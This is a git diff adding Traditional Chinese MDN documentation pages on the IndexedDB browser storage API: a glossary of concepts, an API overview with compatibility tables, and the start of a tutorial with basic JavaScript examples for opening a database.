+ <dd><strong>注意: </strong>本處解說涵蓋<a href="http://dvcs.w3.org/hg/IndexedDB/raw-file/tip/Overview.html">近期大部分規範</a>，舊版瀏覽器支援現在已經廢棄的 <a href="/en-US/docs/IndexedDB/IDBDatabase#setVersion()">IDBDatabase.setVersion()</a> 方法。</dd>
+ <dt> </dt>
+ <dt><a name="gloss_database_connection">database connection</a></dt>
+ <dd>開啟資料庫的作業，一個資料庫同一時間可以擁有多個連線。</dd>
+ <dt><a name="gloss_transaction">交易 (transaction</a>)</dt>
+ <dd>
+ <p>在特定資料庫上進行資料存取和資料修改的一連串作業，這便是我們和資料庫的互動，事實上，任何讀取或變更資料庫資料都會發生在交易之中。</p>
+
+ <p>只要寫入交易間沒有重疊<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#range">範疇 (<em>scopes)</em></a>，一個資料庫連結可以同時擁有多個進行中交易。交易範疇在交易創建當下決定，交易範疇定義了與交易互動的物件存檔以及將交易期間不可變更部分，例如說，有一個資料庫連結正在進行寫入交易，這項寫入交易涵蓋 flyingMonkey 物件存檔，我們可以進行第二項有關 unicornCentaur 與 unicornPegasus 物件存檔的交易。至於讀取交易則不受交易範疇重疊限制。</p>
+
+ <p>交易的生命應該不可過長，所以瀏覽器可以終止交易時間過長的交易，好讓長時間被鎖定的資料得以解除鎖定；交易可以中止，中止後交易所造成的變更都會被復原；交易的中止不必要等到交易開始或進行中。</p>
+
+ <p>交易有三種模式: <code>readwrite</code>, <code>readonly </code>和 <code>versionchange</code>，只能透過 versionchange 交易創建、刪除物件存檔與索引。</p>
+
+ <p>由於交易是相當重要的觀念，尤其是交易和版本間的關係，請參照 <a href="../../../../en/IndexedDB/IDBTransaction" rel="internal">IDBTransaction</a> 以了解更多交易相<br>
+  關細節，另外關於同步API，請參照<a href="http://../../../../en/IndexedDB/IDBTransactionSync" rel="internal">IDBTransactionSync</a>。</p>
+ </dd>
+ <dt><a name="gloss_request">請求 (request</a>)</dt>
+ <dd>每一個讀寫作業都是一個請求。</dd>
+ <dt><a name="gloss_index">索引 (index</a>)</dt>
+ <dd>
+ <p>一個用來查詢其他物件存檔內紀錄的特殊物件存檔，被查詢的物件存檔我們稱為參照物件存檔 (referenced object store) 。索引是資料鍵和值的成對紀錄，其中值就是參照物件存檔內的記錄的資料鍵；當參照物件存檔有紀錄新增、變更或刪除時索引內的紀錄也會相應自動產生，索引內的紀錄只能指向參照物件存檔內的一筆紀錄，但可以有多筆索引紀錄參照同一個物件存檔。物件存檔變更同時，所有的相關索引也會自動相應更新。</p>
+
+ <p>除此之外，我們也可以透過<a href="#gloss_key">資料鍵 (key)</a> 來查詢物件存檔中的紀錄。</p>
+
+ <p>了解如何使用索引請參照<a href="/en/IndexedDB/Using_IndexedDB#Using_an_index">使用 IndexedDB</a>，要知道更多索引細節請參照 <a href="http://../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a> 和 <a href="https://developer.mozilla.org/en-US/docs/IndexedDB/IDBIndex">IDBIndex</a> 。</p>
+ </dd>
+</dl>
+
+<h3 id="key" name="key">資料鍵 (Key) 和資料值 (Value)</h3>
+
+<dl>
+ <dt><a name="gloss_key">資料鍵 (key</a>)</dt>
+ <dd>
+ <p>資料存放在物件存檔中。物件存檔有三種方式產生資料鍵: 資料鍵產生器 (<em><a href="#gloss_keygenerator">k</a></em><em><a href="#gloss_keygenerator">ey generator</a></em>)、資料鍵路徑 (<em><a href="#gloss_keypath">key path</a></em>) 以及指定值。資料鍵的資料型態 (data type) 必須要是能夠進行大小排序；物件存檔中的每一筆紀錄都要有一支獨特的對應資料鍵，不能和同一個物件存檔中其他紀錄的資料鍵相同。</p>
+
+ <p>資料鍵可以是: <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, float和 <a href="/en/JavaScript/Reference/Global_Objects/Array">array (陣列)</a>；對於 array，資料鍵範圍可以是空值到無限，還可以在 array 中包含另一個 array，至於以字串或整數作資料鍵則無特殊規定。</p>
+
+ <p>除此之外，我們也可以透過索引 (<em><a href="#gloss_index">index</a></em>) 來查詢物件存檔中的紀錄。</p>
+ </dd>
+ <dt><a name="gloss_keygenerator">資料鍵產生器 (key generator</a>)</dt>
+ <dd>自動生成有大小順序關係的資料鍵的機制；因為資料鍵是必要的，所以如果沒有資料鍵或想省去給定資料鍵的步驟，那就需要用產生器自動產生資料鍵。</dd>
+ <dt><a name="gloss_inline_key">in-line key</a></dt>
+ <dd>當物件存檔有資料鍵路徑時稱為有使用 in-line key。</dd>
+ <dt><a name="gloss_outofline_key">out-of-line key</a></dt>
+ <dd>當物件存檔沒有資料鍵路徑時稱為使用 out-of--line key。</dd>
+ <dt><a name="gloss_keypath">資料鍵路徑 (key path</a>)</dt>
+ <dd>定義瀏覽器應該如何從物件存檔資料值或索引中提取資料鍵。以下為有效的資料鍵路徑: 一個空字串、一個 Javascript 辨識名稱 (JavaScript identifier) 或數個由”.”(ASCII字元第46字碼) 分隔的 Javascript 辨識名稱。路徑不可含有空白字元。</dd>
+ <dt><a name="gloss_value">資料值 (value</a>)</dt>
+ <dd>
+ <p>每筆紀錄都有資料值，資料值可以是任意Javascript所能表達的項目，包括<a href="/en/JavaScript/Reference/Global_Objects/Boolean" rel="internal" title="en/JavaScript/Reference/Global_Objects/Boolean">boolean</a>, <a href="/en/JavaScript/Reference/Global_Objects/Number" rel="internal" title="en/JavaScript/Reference/Global_Objects/Number">number</a>, <a href="/en/JavaScript/Reference/Global_Objects/String" title="https://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/String">string</a>, <a href="/en/JavaScript/Reference/Global_Objects/Date" title="en/JavaScript/Reference/Global Objects/Date">date</a>, <a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global Objects/Object">object</a>, <a href="/en/JavaScript/Reference/Global_Objects/Array" rel="internal" title="en/JavaScript/Reference/Global_Objects/Array">array</a>, <a href="/en/JavaScript/Reference/Global_Objects/RegExp" rel="internal" title="en/JavaScript/Reference/Global_Objects/RegExp">regexp</a>, <a href="/en/JavaScript/Reference/Global_Objects/undefined" title="en/JavaScript/Reference/Global_Objects/undefined">undefined</a> 以及 null。</p>
+
+ <p>儲存物件或陣列裡的屬性和值也可以是任意Javascript所能表達的項目。</p>
+
+ <p>可以儲存 <a href="/en/DOM/Blob" title="en/DOM/Blob">Blobs</a> 和檔案，請參照 <a href="http://www.w3.org/TR/IndexedDB/">W3C 規範</a>。</p>
+ </dd>
+</dl>
+
+<h3 id="range" name="range">範圍和範疇</h3>
+
+<dl>
+ <dd><strong>範疇</strong></dd>
+ <dd>交易影響到的物件和索引。讀取交易間的範疇可以互相重疊、同時進行，然後寫入交易範疇則不可，如果同時開啟多項交易範疇相同的寫入交易的話，那麼這些交易會排入佇列 (queue)，一個接著一個完成後執行。</dd>
+ <dd><strong>指標 (Cursor)</strong></dd>
+ <dd>在一定資料鍵範圍以內往覆 (iterate) 資料的機制。指標指向了一個物件存檔或索引，它會在一定範圍內，由小到大或由大到小循著紀錄的資料鍵移動，詳細資訊請參照 <a href="../../../../en/IndexedDB/IDBCursor" rel="internal">IDBCursor</a> 或 <a href="../../../../en/IndexedDB/IDBCursorSync" rel="internal">IDBCursorSync</a> 。</dd>
+ <dd><strong>資料鍵範圍</strong></dd>
+ <dd>
+ <p>某種資料型態的一段連續區間，這個區間將作為資料鍵的上下限，我們透過資料鍵或資料鍵範圍取出物件存檔和索引值；藉由上下限我們可以做到存取資料鍵介於 x 和 y 之間的資料，詳細請參考 <a href="../../../../en/IndexedDB/IDBKeyRange" rel="internal">IDBKeyRange</a> 。</p>
+ </dd>
+</dl>
+
+<h2 id="limitations" name="limitations">限制</h2>
+
+<p>IndexedDB 設計上足以滿足大部分客戶端儲存需求，不過，以下情況並不適用 IndexedDB :</p>
+
+<ul>
+ <li>多國語言排序。各國語言字串的排序不一定都一樣，所以 IndexedDB 無法處理多國語言字串排序。不過雖然 IndexedDB 無法處理多國語言字串排序，我們可以改為先讀出資料後再自行排序。</li>
+ <li>同步化。IndexedDB API 設計上並沒有考慮到和伺服器端資料庫同步化，所以客戶端和伺服器端資料庫同步需要我們自行處理。</li>
+ <li>全文搜尋。IndexedDB 沒有等同於 SQL 的 LIKE 的 API 。</li>
+</ul>
+
+<p>除此之外，請小心瀏覽器可能會清空資料庫，例如:</p>
+
+<ul>
+ <li>使用者要求清空資料庫。許多瀏覽器讓使用者可以清空網站的 cookies、書籤、密碼和 IndexedDB 資料庫。</li>
+ <li>私密瀏覽。Firefox 和 Chrome 等瀏覽器提供私密瀏覽模式，當瀏覽結束後，資料庫會被清空。</li>
+ <li>超出硬碟空間或資料庫空間上限。</li>
+ <li>資料毀損。</li>
+ <li>當未來有不相容於現在的修改。</li>
+</ul>
+
+<p>瀏覽器確切的狀況和功能範疇未來會變更，但基本上瀏覽器還是會盡可能保存資料。</p>
+
+<h2 id="next" name="next">下一步</h2>
+
+<p>現在我們已經了解 IndexedDB 的整體概念，接下來請到 <a href="/en/IndexedDB/Using_IndexedDB">“使用 IndexedDB”</a> 看看如何實際使用 IndexedDB。</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<p>標準規範</p>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/"><span style="direction: ltr;">Indexed Database API Specification</span></a></li>
+</ul>
+
+<p>參照</p>
+
+<ul>
+ <li><a href="/en/IndexedDB" title="https://developer.mozilla.org/en/IndexedDB">IndexedDB API Reference</a></li>
+</ul>
+
+<p>相關教學</p>
+
+<ul>
+ <li><a href="/en/IndexedDB/Using_IndexedDB" title="en/IndexedDB/IndexedDB primer">Using IndexedDB</a></li>
+ <li><a class="external" href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">A simple TODO list using HTML5 IndexedDB</a><span class="external">. </span><span class="external"> {{ Note("請注意此教學範例用到的已經廢棄的<code>setVersion()方法。</code>") }}</span></li>
+</ul>
+
+<p>相關文章</p>
+
+<ul>
+ <li><a class="external" href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — The Store in Your Browserr</a>Basic concepts</li>
+</ul>
diff --git a/files/zh-tw/web/api/indexeddb_api/index.html b/files/zh-tw/web/api/indexeddb_api/index.html
new file mode 100644
index 0000000000..91f2fc812d
--- /dev/null
+++ b/files/zh-tw/web/api/indexeddb_api/index.html
@@ -0,0 +1,148 @@
+---
+title: IndexedDB
+slug: Web/API/IndexedDB_API
+tags:
+  - Database
+  - IndexedDB
+  - bug-840092
+translation_of: Web/API/IndexedDB_API
+---
+<div>{{SeeCompatTable}}</div>
+
+<p>IndexedDB 為用戶端的儲存用 API，可用於大量的結構化資料，並透過索引功能而高效率搜尋資料。<a href="https://developer.mozilla.org/zh-TW/docs/DOM/Storage" title="DOM/Storage">DOM Storage</a> 適合儲存較少量的資料；IndexedDB 則適合大量結構化資料的儲存方案。</p>
+
+<p>本篇文章僅為 API 物件的入門技術說明。若需進一步了解，則請參閱 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="IndexedDB/Basic_Concepts_Behind_IndexedDB">IndexedDB 基本概念</a>。更多細節則可參閱<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Using_IndexedDB" title="IndexedDB/Using_IndexedDB">使用 IndexedDB</a>。</p>
+
+<p>IndexedDB 提供不同 APIs 用於同步與非同步的存取作業。同步 API 僅能用於<a href="https://developer.mozilla.org/zh-TW/docs/DOM/Worker" title="Worker">Web Workers</a> 之中，但尚未有瀏覽器支援同步API。非同步 API 則用於 Web Workers 內外均可，但 Firefox 目前尚未建構。</p>
+
+<h2 id="非同步_API">非同步 API</h2>
+
+<p>非同步API不會阻塞呼叫它的執行緒。若要非同步存取資料庫，可於 <a href="https://developer.mozilla.org/zh-TW/docs/DOM/window" title="DOM/window">window</a> 物件的 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBEnvironment#attr_indexedDB" title="IndexedDB/IDBEnvironment#attr indexedDB">indexedDB</a> 屬性上呼叫 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBFactory#open" title="IndexedDB/IDBFactory#open">open</a>()。此函式將回傳 IDBRequest 物件 (IDBOpenDBRequest)，開始非同步存取資料庫；呼叫端程式利用IDBRequest物件上的事件來進行非同步溝通。</p>
+
+<div class="note">
+<p><strong>注意：</strong>在舊版瀏覽器 (Gecko 16 版之前的 indexedDB 屬性；Chrome 中的 webkitIndexedDB；IE 10 中的 msIndexedDB) 中的 indexedDB 物件，均具備前綴屬性。</p>
+</div>
+
+<ul>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBFactory" title="IndexedDB/IDBFactory"><code>IDBFactory</code></a> 可存取資料庫。此介面是透過全域物件 <code>indexedDB</code> 所建構，因此成為 API 的切入點。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBCursor" title="IndexedDB/IDBCursor"><code>IDBCursor</code></a> 將依序存取物件與索引。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBCursorWithValue"><code>IDBCursorWithValue</code></a> 將依序存取物件與索引，並回傳指標 (Cursor) 的目前數值。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBDatabase" title="IndexedDB/IDBDatabase"><code>IDBDatabase</code></a> 代表到資料庫的連線。這也是能與資料庫互動的唯一方式。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBEnvironment" title="IndexedDB/IDBEnvironment"><code>IDBEnvironment</code></a> 可存取用戶端的資料庫。此介面是透過 <a href="https://developer.mozilla.org/en-US/docs/DOM/window" title="../en-US/docs/DOM/window">window</a> 物件所建構。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBIndex" title="IndexedDB/IDBIndex"><code>IDBIndex</code></a> 可存取索引的Metadata。</li>
+ <li><code><a href="/zh-TW/docs/IndexedDB/IDBKeyRange" title="IndexedDB/KeyRange">IDBKeyRange</a></code> 定義資料鍵範疇。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBObjectStore" title="IndexedDB/IDBObjectStore"><code>IDBObjectStore</code></a> 代表物件存檔。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBOpenDBRequest" title="IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a> 代表「開啟資料庫」的請求。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBRequest" title="IndexedDB/IDBRequest"><code>IDBRequest</code></a> 代表向非同步資料庫和資料庫物件發出之請求，也就是呼叫非同步方法後回傳值。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBTransaction" title="IndexedDB/IDBTransaction"><code>IDBTransaction</code></a> 代表一個交易。我們可以和資料庫進行交易，例如要求存取某一個物件存檔，以及決定要執行讀或寫的存取作業。</li>
+ <li><a href="/zh-TW/docs/IndexedDB/IDBVersionChangeEvent" title="IDBVersionChangeEvent"><code>IDBVersionChangeEvent</code></a> <code>則代表資料庫所變更的版本。</code></li>
+</ul>
+
+<p>以下API在早期規範中有定義，但現已移除。這邊列出僅供參考:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBVersionChangeRequest" title="IndexedDB/IDBVersionChangeRequest">IDBVersionChangeRequest</a> 代表「更改資料庫版本」的請求。更改資料庫版本的方法已有不同 (呼叫 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBFactory#open" title="IndexedDB/IDBFactory#open">IDBFactory.open()</a> 而不需同時呼叫  <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBDatabase#setVersion%28%29" title="IndexedDB/IDBDatabase#setVersion()">IDBDatabase.setVersion()</a>)；而且<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBOpenDBRequest" title="IndexedDB/IDBOpenDBRequest">IDBOpenDBRequest</a>已經整合了從IDBVersionChangeRequest中所移除之功能。</li>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/IDBDatabaseException" title="IndexedDB/DatabaseException">IDBDatabaseException </a> {{obsolete_inline}} 在執行資料庫作業時，代表可能遭遇的例外狀況。</li>
+</ul>
+
+<p>除了非同步API，也有應用在<a href="https://developer.mozilla.org/zh-TW/docs/DOM/Using_web_workers" title="Using_web_workers">WebWorkers</a>內的同步API，但請注意目前還沒有瀏覽器支援同步API。這裡也提供 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Syncronous_API" title="IndexedDB/SyncronousAPI">API 的同步版本</a>。</p>
+
+<h2 id="儲存限制">儲存限制</h2>
+
+<p>單一資料庫項目的容量/大小並沒有任何限制，但是各個 IndexedDB資料庫的容量就有限制。此限制，還有使用者介面的斷言 (Assert) 方式，又將因瀏覽器而有所不同：</p>
+
+<ul>
+ <li>
+  <p>Firefox：對 IndexedDB 資料庫的容量並無限制。但若要儲存的 Blobs 超過 50 MB，使用者介面將會要求權限。若要修改此容量，則可透過 dom.indexedDB.warningQuota (可至 <a href="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js" title="http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js">http://mxr.mozilla.org/mozilla-central/source/modules/libpref/src/init/all.js</a> 中設定) 設定自己所需的限制。</p>
+ </li>
+ <li>Google Chrome：請參閱 <a class="link-https" href="https://developers.google.com/chrome/whitepapers/storage#temporary" rel="freelink">https://developers.google.com/chrome...rage#temporary</a></li>
+</ul>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<p>Web 上的 IndexedDB 使用範例，是由 Marco Castelluccio 所提供。Marco 是 IndexedDB Mozilla DevDerby 的優勝者，而該得獎 Demo 為 <a href="https://developer.mozilla.org/zh-TW/demos/detail/elibri" title="demos/detail/elibri">eLibri</a>，屬於函式庫與 eBook 閱讀器的 App。</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>
+    <p>24.0<br>
+     11.0 {{property_prefix("webkit")}}</p>
+   </td>
+   <td>
+    <p>{{CompatGeckoDesktop("16.0")}}<br>
+     {{CompatGeckoDesktop("2.0")}} {{property_prefix("moz")}}</p>
+   </td>
+   <td>10 {{property_prefix("ms")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Synchronous API<br>
+    (used with <a href="/zh-TW/docs/DOM/Using_web_workers" title="Using_web_workers">WebWorkers</a>)</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<br>
+    See {{bug(701634)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Asynchronous API</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("6.0")}} {{property_prefix("moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>瀏覽器相容性表格則請參閱：<a href="http://caniuse.com/indexeddb" title="http://caniuse.com/indexeddb">When Can I Use IndexedDB</a></p>
+
+<p>另可透過 <a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a>，在<a href="http://caniuse.com/sql-storage" title="http://caniuse.com/sql-storage">支援 WebSQL 的瀏覽器</a>上使用 IndexedDB。</p>
+
+<h2 id="另可參閱">另可參閱</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB" title="IndexedDB/Basic Concepts Behind IndexedDB">IndexedDB 基本概念</a></li>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Using_IndexedDB" title="IndexedDB/IndexedDB primer">使用 IndexedDB</a></li>
+ <li><a href="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/" title="http://hacks.mozilla.org/2012/02/storing-images-and-files-in-indexeddb/">在 IndexedDB 中儲存影像與檔案</a></li>
+ <li><a href="http://www.html5rocks.com/tutorials/indexeddb/todo/" title="http://www.html5rocks.com/tutorials/indexeddb/todo/">使用 HTML5 IndexedDB 的簡易 TODO 清單</a><br>
+  {{Note("此線上教學是根據較舊版本的規格所列，因此無法搭配最新版的瀏覽器。新版本已移除其中的 <code>setVersion()</code> 函式。")}}</li>
+ <li><a href="http://www.w3.org/TR/IndexedDB/" title="http://www.w3.org/TR/IndexedDB/">Indexed Database API 規格</a></li>
+ <li><a href="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx" title="http://msdn.microsoft.com/en-us/scriptjunkie/gg679063.aspx">IndexedDB — 儲存於自己的瀏覽器中</a></li>
+ <li><a href="http://nparashuram.com/IndexedDB/trialtool/index.html" title="http://nparashuram.com/IndexedDB/trialtool/index.html">IndexedDB 範例</a></li>
+ <li>僅支援 WebSQL 的瀏覽器 (例如行動 WebKit)，可適用 <a href="https://github.com/axemclion/IndexedDBShim" title="https://github.com/axemclion/IndexedDBShim">IndexedDB Polyfill</a></li>
+ <li><a href="http://nparashuram.com/IndexedDBShim/" title="http://nparashuram.com/IndexedDBShim/">JQuery IndexedDB 外掛程式</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/indexeddb_api/using_indexeddb/index.html b/files/zh-tw/web/api/indexeddb_api/using_indexeddb/index.html
new file mode 100644
index 0000000000..5bddd965b4
--- /dev/null
+++ b/files/zh-tw/web/api/indexeddb_api/using_indexeddb/index.html
@@ -0,0 +1,1085 @@
+---
+title: 使用IndexedDB
+slug: Web/API/IndexedDB_API/Using_IndexedDB
+translation_of: Web/API/IndexedDB_API/Using_IndexedDB
+---
+<p>IndexedDB提供了在瀏覽器上儲存保留資料的功能，藉由它，不論是線上或線下我們的應用都可以進行資料存取。</p>
+<h2 id="關於本文">關於本文</h2>
+<p>本文會帶領各位操作非同步IndexedDB的API，如果不知道甚麼是IndexedDB，請先看看<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB">"IndexedDB基本礎念"</a>。</p>
+<h2 id="pattern" name="pattern">基本操作步驟</h2>
+<p>操作IndexedDB的基本步驟建議如下:</p>
+<ol>
+ <li>開啟資料庫和交易(transaction)。</li>
+ <li>建立物件存檔(object store)</li>
+ <li>發出資料庫操作請求，例如新增或取得資料。</li>
+ <li>
+  <div>
+   聆聽對應DOM事件等待操作完成。</div>
+ </li>
+ <li>
+  <div>
+   從result物件上取得結果進行其他工作。</div>
+ </li>
+</ol>
+<p>好了，知道了上述概念後，我們可以來實際做些甚麼。</p>
+<h2 id="open" name="open">建立和結構資料庫</h2>
+<p>由於IndexedDB的標準仍在演進，所以目前一些實作還需要加上瀏覽器前綴標示(如Gecko基礎瀏覽器的前綴標示為moz，WebKit基礎瀏覽器的前綴標示為webkit)，瀏覽器的實作也可能會有所差異，不過一旦共識標準達成，無瀏覽器前綴標示實作將出現。其實，Internet Explorer 10, Firefox 16, Chrome 24已經有了無瀏覽器前綴標示實作。</p>
+<h3 id="操作實驗性質的IndexedDB">操作實驗性質的IndexedDB</h3>
+<p>如果需要試驗瀏覽器的前綴標示，可以如下:</p>
+<pre class="brush: js">// In the following line, you should include the prefixes of implementations you want to test.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// DON'T use "var indexedDB = ..." if you're not in a function.
+// Moreover, you may need references to some window.IDB* objects:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange;
+// (Mozilla has never prefixed these objects, so we don't need window.mozIDB*)</pre>
+<p>請注意瀏覽器前綴標示的實作可能不完整、有些問題或仍然遵守舊版標準，因此不建議在正式版程式碼中使用。與其宣稱支援又有問題，倒不如直接不支援。</p>
+<pre class="brush: js">if (!window.indexedDB) {
+    window.alert("Your browser doesn't support a stable version of IndexedDB. Such and such feature will not be available.");
+}
+</pre>
+<h3 id="開啟資料庫">開啟資料庫</h3>
+<p>開頭如下:</p>
+<pre class="brush: js">// Let us open our database
+var request = window.indexedDB.open("MyTestDatabase", 3);
+</pre>
+<p>注意到了嗎，開啟資料庫必須要進行請求。</p>
+<p>開啟請求並不會立刻開啟資料庫或交易，呼叫open()方法會回傳一個<a href="/en-US/docs/IndexedDB/IDBOpenDBRequest" title="/en-US/docs/IndexedDB/IDBOpenDBRequest"><code>IDBOpenDBRequest</code></a>物件，這個物件擁有兩個事件(success和error)。大部分IndexedDB的非同步功能都會回傳一個<code style="font-size: 14px; color: rgb(51, 51, 51);"><a href="/en-US/docs/IndexedDB/IDBDatabase" title="/en-US/docs/IndexedDB/IDBDatabase">IDBDatabase</a></code>類物件，然後我們可以註冊成功和失敗事件處理器。</p>
+<p>Open方法第二個參數是資料庫版本，資料庫版本決定了資料庫結構，也就是資料庫物件存檔的結構。如果請求版本不存在(比如因為這是一個新資料庫或是資料庫版本已升級)，onupgradeneeded事件會被觸發，然後我們可以在onupgradeneeded事件處理器中再建立新的版本，下面<a href="#Updating_the_version_of_the_database">升級資料庫版本</a>有更詳細的說明。</p>
+<h4 id="產生事件處理器">產生事件處理器</h4>
+<p>幾乎所有第一件要對請求做的事都是產生success和error事件處理器:</p>
+<pre class="brush: js">request.onerror = function(event) {
+  // Do something with request.errorCode!
+};
+request.onsuccess = function(event) {
+  // Do something with request.result!
+};</pre>
+<p>如果一切正常，success事件(也就是DOM事件的type屬性設為success)會以request為目標觸發，然後request物件上的onsuccess函數接著被呼叫，其中success事件就是參數；否則error事件(也就是DOM事件的type屬性設為error)會以request為目標觸發，然後request物件上的onerror函數接著被呼叫，其中error事件就是參數。</p>
+<p>IndexedDB的API設計上盡量減少錯誤處理，所以不太常看到錯誤事件，不過開啟資料庫的時候還是有一些狀況會產產生錯誤，最常見的狀況是使用者拒絕我們建立資料庫。</p>
+<p>IndexedDB設計目標之一為存放大量資料以供離線使用(請參考<a href="/en/IndexedDB#Storage_limits" title="https://developer.mozilla.org/en/IndexedDB#Storage_limits">"儲存限制"</a>了解更多細節)。但很明顯地，瀏覽器又不樂見一些廣告網站或惡意網站汙染電腦，所以當任一個網路應用第一次開啟IndexedDB資料庫，瀏覽器會徵詢使用者是否准許其作業；同時在私密瀏覽中開啟作業也會失敗，因為私密瀏覽不會留下任何瀏覽痕跡。</p>
+<p>這裡呼叫indexedDB.open()開啟indexedDB資料庫並回傳request物件，假設使用者允許我們建立indexedDB資料庫，我們也收到suceess事件觸發了success回呼函數(callback)，request物件的result屬性會是一個IDBDatabase物件 ，接下來便是要儲存這個物件之後使用。下方是整個作業的示範程式碼:</p>
+<pre class="brush: js">var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Why didn't you allow my web app to use IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = request.result;
+};
+</pre>
+<h4 id="錯誤處理">錯誤處理</h4>
+<p>錯誤事件會向上傳遞；錯誤事件以產生錯誤之請求為目標觸發，然後一路傳遞到交易，最後到資料庫物件；如果不想要為每一個請求新增錯誤處理器，可以改為資料庫物件加入一個錯誤處理器。</p>
+<pre class="brush: js">db.onerror = function(event) {
+  // Generic error handler for all errors targeted at this database's
+  // requests!
+  alert("Database error: " + event.target.errorCode);
+};
+</pre>
+<p>最常見的錯誤之一就是VER_ERR，該錯誤代表現在資料料庫版本大於嘗試開啟的資料庫版本，這項錯誤必須要有錯誤處理器處理。</p>
+<h3 id="建立或更新資料庫版本">建立或更新資料庫版本</h3>
+<p><a name="Updating_the_version_of_the_database"></a>新版本資料庫建立會觸發onupgradeneeded事件，在這個事件的處理器中要建立這個版本資料庫需要的物件存檔。</p>
+<pre class="brush:js;">// This event is only implemented in recent browsers
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Create an objectStore for this database
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};</pre>
+<p>資料庫版本是unsigned long long的數字，所以能夠非常長。</p>
+<div class="warning">
+ <p>請注意這也意味著版本不能為浮點數，否則小數點部分將會無條件捨去，而交易也可能不會開始，upgradeneeded事件也不會觸發。不要像以下例子以2.4作版本:</p>
+ <pre class="brush: js">var request = indexedDB.open("MyTestDatabase", 2.4); // don't do this, as the version will be rounded to 2</pre>
+</div>
